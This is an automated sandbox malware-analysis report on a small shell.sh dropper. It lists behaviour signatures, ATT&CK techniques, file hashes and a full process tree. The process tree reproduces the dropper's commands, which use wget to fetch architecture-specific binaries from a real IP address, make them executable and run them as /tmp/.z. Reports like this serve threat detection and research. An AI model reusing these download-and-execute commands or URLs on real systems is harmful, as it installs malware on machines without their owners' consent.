d1f89f4c630323b37a6f669903f2e617a0616052c4b900e33d0b9eb41084514f

Analysis

max time kernel
7s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03-01-2025 07:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

shell.sh
Size

327B
MD5

be3860edd084c6394d9894627d926283
SHA1

0084acbf7a34fece5ee66fd63b64234d5d2238d8
SHA256

d1f89f4c630323b37a6f669903f2e617a0616052c4b900e33d0b9eb41084514f
SHA512

06440f218923e2062a940299d2386762eb228d87a5407430191733865e122a0cb4a5c076b07ff9b5547933b80653555cbfcfc4b7d31eedcc6f132372d6be105a

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
761	chmod
768	chmod
670	chmod
699	chmod
715	chmod
729	chmod
743	chmod
646	chmod
681	chmod
687	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/.z	665	.z
/tmp/.z	678	.z
/tmp/.z	684	.z
/tmp/.z	695	.z
/tmp/.z	711	.z
/tmp/.z	725	.z
/tmp/.z	739	.z
/tmp/.z	757	.z
/tmp/.z	765	.z
/tmp/.z	771	.z

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-2.dat	upx
behavioral2/files/fstream-3.dat	upx
behavioral2/files/fstream-4.dat	upx
behavioral2/files/fstream-5.dat	upx
behavioral2/files/fstream-6.dat	upx

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
682	rm
683	wget
684	.z
688	rm
689	wget
695	.z

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.z	shell.sh

/tmp/shell.sh
/tmp/shell.sh
1⤵
- Writes file to tmp directory
PID:638
- /bin/rm
  rm -rf .z
  2⤵
  PID:639
- /bin/cp
  cp .z
  2⤵
  - Reads runtime system information
  PID:641
- /bin/chmod
  chmod +x .z
  2⤵
  - File and Directory Permissions Modification
  PID:646
- /bin/rm
  rm -rf x86_64
  2⤵
  PID:648
- /usr/bin/wget
  wget http://212.64.199.97/Simps/x86_64 -O -
  2⤵
  PID:650
- /tmp/.z
  ./.z x86_64
  2⤵
  - Executes dropped EXE
  PID:665
- /bin/rm
  rm -rf .z
  2⤵
  PID:667
- /bin/cp
  cp .z
  2⤵
  - Reads runtime system information
  PID:668
- /bin/chmod
  chmod +x .z
  2⤵
  - File and Directory Permissions Modification
  PID:670
- /bin/rm
  rm -rf i586
  2⤵
  PID:672
- /usr/bin/wget
  wget http://212.64.199.97/Simps/i586 -O -
  2⤵
  PID:674
- /tmp/.z
  ./.z i586
  2⤵
  - Executes dropped EXE
  PID:678
- /bin/rm
  rm -rf .z
  2⤵
  PID:679
- /bin/cp
  cp .z
  2⤵
  - Reads runtime system information
  PID:680
- /bin/chmod
  chmod +x .z
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:682
- /usr/bin/wget
  wget http://212.64.199.97/Simps/mips -O -
  2⤵
  - System Network Configuration Discovery
  PID:683
- /tmp/.z
  ./.z mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:684
- /bin/rm
  rm -rf .z
  2⤵
  PID:685
- /bin/cp
  cp .z
  2⤵
  - Reads runtime system information
  PID:686
- /bin/chmod
  chmod +x .z
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /bin/rm
  rm -rf mipsel
  2⤵
  - System Network Configuration Discovery
  PID:688
- /usr/bin/wget
  wget http://212.64.199.97/Simps/mipsel -O -
  2⤵
  - System Network Configuration Discovery
  PID:689
- /tmp/.z
  ./.z mipsel
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:695
- /bin/rm
  rm -rf .z
  2⤵
  PID:697
- /bin/cp
  cp .z
  2⤵
  - Reads runtime system information
  PID:698
- /bin/chmod
  chmod +x .z
  2⤵
  - File and Directory Permissions Modification
  PID:699
- /bin/rm
  rm -rf armv4l
  2⤵
  PID:702
- /usr/bin/wget
  wget http://212.64.199.97/Simps/armv4l -O -
  2⤵
  PID:703
- /tmp/.z
  ./.z armv4l
  2⤵
  - Executes dropped EXE
  PID:711
- /bin/rm
  rm -rf .z
  2⤵
  PID:712
- /bin/cp
  cp .z
  2⤵
  - Reads runtime system information
  PID:713
- /bin/chmod
  chmod +x .z
  2⤵
  - File and Directory Permissions Modification
  PID:715
- /bin/rm
  rm -rf armv5l
  2⤵
  PID:716
- /usr/bin/wget
  wget http://212.64.199.97/Simps/armv5l -O -
  2⤵
  PID:718
- /tmp/.z
  ./.z armv5l
  2⤵
  - Executes dropped EXE
  PID:725
- /bin/rm
  rm -rf .z
  2⤵
  PID:726
- /bin/cp
  cp .z
  2⤵
  - Reads runtime system information
  PID:728
- /bin/chmod
  chmod +x .z
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /bin/rm
  rm -rf armv6l
  2⤵
  PID:730
- /usr/bin/wget
  wget http://212.64.199.97/Simps/armv6l -O -
  2⤵
  PID:732
- /tmp/.z
  ./.z armv6l
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm -rf .z
  2⤵
  PID:740
- /bin/cp
  cp .z
  2⤵
  - Reads runtime system information
  PID:742
- /bin/chmod
  chmod +x .z
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /bin/rm
  rm -rf armv7l
  2⤵
  PID:744
- /usr/bin/wget
  wget http://212.64.199.97/Simps/armv7l -O -
  2⤵
  PID:746
- /tmp/.z
  ./.z armv7l
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm -rf .z
  2⤵
  PID:758
- /bin/cp
  cp .z
  2⤵
  - Reads runtime system information
  PID:759
- /bin/chmod
  chmod +x .z
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /bin/rm
  rm -rf powerpc
  2⤵
  PID:762
- /usr/bin/wget
  wget http://212.64.199.97/Simps/powerpc -O -
  2⤵
  PID:763
- /tmp/.z
  ./.z powerpc
  2⤵
  - Executes dropped EXE
  PID:765
- /bin/rm
  rm -rf .z
  2⤵
  PID:766
- /bin/cp
  cp .z
  2⤵
  - Reads runtime system information
  PID:767
- /bin/chmod
  chmod +x .z
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /bin/rm
  rm -rf sparc
  2⤵
  PID:769
- /usr/bin/wget
  wget http://212.64.199.97/Simps/sparc -O -
  2⤵
  PID:770
- /tmp/.z
  ./.z sparc
  2⤵
  - Executes dropped EXE
  PID:771

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/.z

Filesize
66KB

MD5
33127be57dc9ff0d1ef1f51e613c5517

SHA1
4fde704f7e241a2d760bad03f3e2fa7b3267f70d

SHA256
b9cc82bf75b97d7d94783ac1b33da7e842180af893d930812b79c186956707f5

SHA512
0f864972b44b689bfe4a4da70b5e94ea281f2acd43b26227bf68b13c4075422092454ebb4254fd66d3650362aad978ec271187c6cffeb74ff94a3e5ef091c348

Download Submit
/tmp/.z

Filesize
62KB

MD5
5c086f6372f862e1b7a7f8b9fb9fa431

SHA1
d09655cca5a41dfdbdafa1245411445efbb72449

SHA256
71a55da4de94d324669f43a83e14a5b20154fefdf03b1051bad2ae181f314676

SHA512
3c3f06257e1638e3fa6ff33ba107c5a49cba56429e0e0ec5c551864044c003263557102f7f9d7b1151c8d24099d4f28124672e0510ebb5629f3e71434dc26e30

Download Submit
/tmp/.z

Filesize
66KB

MD5
82999462377666d1c50486d94b4160ad

SHA1
58c62d44ff09fa07fe3d214e27b96e504eb62728

SHA256
0df50e6986da2c391072e5e135f807b263b98f7303796278e4d60fa39a161cfd

SHA512
cecabe8ad74d0c57f546c86b01d26dadf0cc8b436a8a2b6fece78bd158156f2e1c5b2270ea8c44e7e6a2eca0e690b119abd05f33f099301782a5356c86602fe6

Download Submit
/tmp/.z

Filesize
67KB

MD5
82a0a8e54c823931b1d3c9f043a760c0

SHA1
e67075c0cdc2451355c425502660e35b3f97d827

SHA256
2b2d11f90643979799af9d1e234d21234f75beb37fec69cd09418e3600c15c44

SHA512
3781540bc763ffbfd8e6065ac6fd057eeb18b77873e3cb80f310ea34acf7443c4c335d366e392c862ffdb5a07552232b208075035a42dd14f395772d00d65b78

Download Submit
/tmp/.z

Filesize
85KB

MD5
53d823c5eec28a33da0d52ce6b3cb299

SHA1
9f871a8c8f241a8817c4bf9e593450a805bc4b68

SHA256
a9fe64135a6004025474ae6faab8f269489a12aa369f750ad2eb6db619606952

SHA512
deb08f04d5aff80116a495584fe5c72b749654f26faca304d46a66f80af93a500cbb0cc21ca1ce32aff5ba69cecbd23772519031abd8911b75bc1f4a61a76047

Download Submit